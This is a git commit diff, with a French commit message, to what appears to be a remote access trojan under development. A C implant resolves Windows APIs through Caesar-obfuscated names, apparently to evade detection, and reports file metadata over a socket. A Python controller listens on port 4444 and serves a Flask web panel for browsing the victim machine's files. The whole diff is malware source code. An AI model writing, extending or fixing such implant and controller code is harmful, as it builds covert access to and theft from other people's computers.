fix: infos dans le file explorer

manque les infos pour les dossiers, l'upload/download/remove
This commit is contained in:
2023-02-17 09:46:14 +01:00
parent cb5ec53bd2
commit 8bd63f4605
5 changed files with 26 additions and 13 deletions

View File

@@ -245,7 +245,7 @@ retry:
int st = Api.stat(CAESAR_DECRYPT(path), &fileinfo); int st = Api.stat(CAESAR_DECRYPT(path), &fileinfo);
if (st != 0) { if (st != 0) {
if (Api.send(sock, CAESAR("N/N"), sizeof(CAESAR("N/N")), 0) < 0) { if (Api.send(sock, "N/N", strlen("N/N"), 0) < 0) {
//send failed //send failed
Api.free(path); Api.free(path);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
@@ -257,10 +257,10 @@ retry:
} }
time_t mtime = fileinfo.st_mtime; time_t mtime = fileinfo.st_mtime;
struct tm* mtime_tm = Api._localtime64(&mtime); struct tm* mtime_tm = Api.localtime(&mtime);
char mtime_str[30]; char mtime_str[30];
char sizeStr[20]; char sizeStr[20];
Api.strftime(mtime_str, 30, CAESAR_DECRYPT("*^2*r2*i%*M?*R?*X"), mtime_tm); Api.strftime(mtime_str, 30, "%Y-%m-%d %H:%M:%S", mtime_tm);
// Concatenate the file size and modified time strings separated by "/" // Concatenate the file size and modified time strings separated by "/"
Api._snprintf(sizeStr, 20, "%lld", (long long)fileinfo.st_size); Api._snprintf(sizeStr, 20, "%lld", (long long)fileinfo.st_size);
@@ -268,7 +268,7 @@ retry:
char* fileInfoStr = (char*)Api.malloc(bufferSize); char* fileInfoStr = (char*)Api.malloc(bufferSize);
Api._snprintf(fileInfoStr, bufferSize, "%s/%s", sizeStr, mtime_str); Api._snprintf(fileInfoStr, bufferSize, "%s/%s", sizeStr, mtime_str);
if (Api.send(sock, fileInfoStr, sizeof(fileInfoStr), 0) < 0) { if (Api.send(sock, fileInfoStr, strlen(fileInfoStr), 0) < 0) {
//send failed //send failed
Api.free(path); Api.free(path);
Api.free(fileInfoStr); Api.free(fileInfoStr);

View File

@@ -44,7 +44,7 @@ void InitApis() {
Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk")); Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk"));
Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth")); Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth"));
Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx")); Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx"));
Api._localtime64 = (T_localtime64)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dqthfqynrj;9")); Api.localtime = (Tlocaltime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("qthfqynrj"));
Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj")); Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj"));
Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk")); Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk"));

View File

@@ -28,7 +28,7 @@ typedef int(WINAPI* Tstat)(char const* const, struct stat* const);
typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...); typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...);
typedef void*(WINAPI* Trealloc)(void*, size_t); typedef void*(WINAPI* Trealloc)(void*, size_t);
typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t); typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t);
typedef struct tm* (WINAPI* T_localtime64)(__time64_t const*); typedef struct tm* (WINAPI* Tlocaltime)(__time64_t const*);
typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*); typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*);
typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...); typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...);
@@ -88,7 +88,7 @@ typedef struct ApiList {
Tstat stat; Tstat stat;
Tsprintf sprintf; Tsprintf sprintf;
Trealloc realloc; Trealloc realloc;
T_localtime64 _localtime64; Tlocaltime localtime;
Tstrftime strftime; Tstrftime strftime;
T_snprintf _snprintf; T_snprintf _snprintf;
} API; } API;

View File

@@ -30,7 +30,7 @@
<tr> <tr>
<th data-sortable="true">Nom</th> <th data-sortable="true">Nom</th>
<th data-sortable="false" data-width="150">Modifié le</th> <th data-sortable="false" data-width="150">Modifié le</th>
<th data-sortable="true" data-width="25">Taille</th> <th data-sortable="true" data-width="50">Taille</th>
</tr> </tr>
</thead> </thead>
</table> </table>

View File

@@ -8,6 +8,7 @@ import select
import socket import socket
import logging import logging
import urllib.parse import urllib.parse
import math
ADRESSE = "192.168.1.35"#socket.gethostname() ADRESSE = "192.168.1.35"#socket.gethostname()
PORT = 4444 PORT = 4444
@@ -41,6 +42,15 @@ def CAESAR_DECRYPT(in_s: str) -> str :
r+=" " r+=" "
return r return r
def convert_size(size_bytes):
if size_bytes == 0:
return "0 O"
size_name = ("O", "Ko", "Mo", "Go", "To", "Po", "Eo", "Zo", "Yo")
i = int(math.floor(math.log(size_bytes, 1024)))
p = math.pow(1024, i)
s = round(size_bytes / p, 2)
return "%s %s" % (s, size_name[i])
app = Flask(__name__) app = Flask(__name__)
# Disable Flask's default logging # Disable Flask's default logging
#log = logging.getLogger('werkzeug') #log = logging.getLogger('werkzeug')
@@ -78,6 +88,9 @@ def get_data() :
else : else :
path_file_ex += got_path + "/" path_file_ex += got_path + "/"
else :
path_file_ex = ""
i = -1 i = -1
print(path_file_ex.split("/")) print(path_file_ex.split("/"))
@@ -117,12 +130,12 @@ def get_data() :
client.send(CAESAR("get_obj_info").encode()) client.send(CAESAR("get_obj_info").encode())
client.send(CAESAR(path_file_ex + f + "\0").encode()) client.send(CAESAR(path_file_ex_2 + f + "\0").encode())
infos = recv_message_ret(client).decode("latin-1") infos = recv_message_ret(client).decode("latin-1")
#print(infos) taille, modified = infos.split("/")
data.append({"url": f"<a>{f}</a>", "modified": "", "size":""}) data.append({"url": f"<a>{f}</a>", "modified": f"{modified}", "size":f"{convert_size(int(taille))}"})
json_data = jsonify({"data":data}) json_data = jsonify({"data":data})
return json_data return json_data
@@ -344,7 +357,7 @@ def main() -> None :
elif cmd == "fex" : elif cmd == "fex" :
print("\nClique sur le lien ci-dessous pour voir le file explorer :") print("\nClique sur le lien ci-dessous pour voir le file explorer :")
print("http://127.0.0.1:5000") print("http://127.0.0.1:5000\n")
else : else :
print("Commande non reconnue, \"help\" pour afficher la liste des commandes.") print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")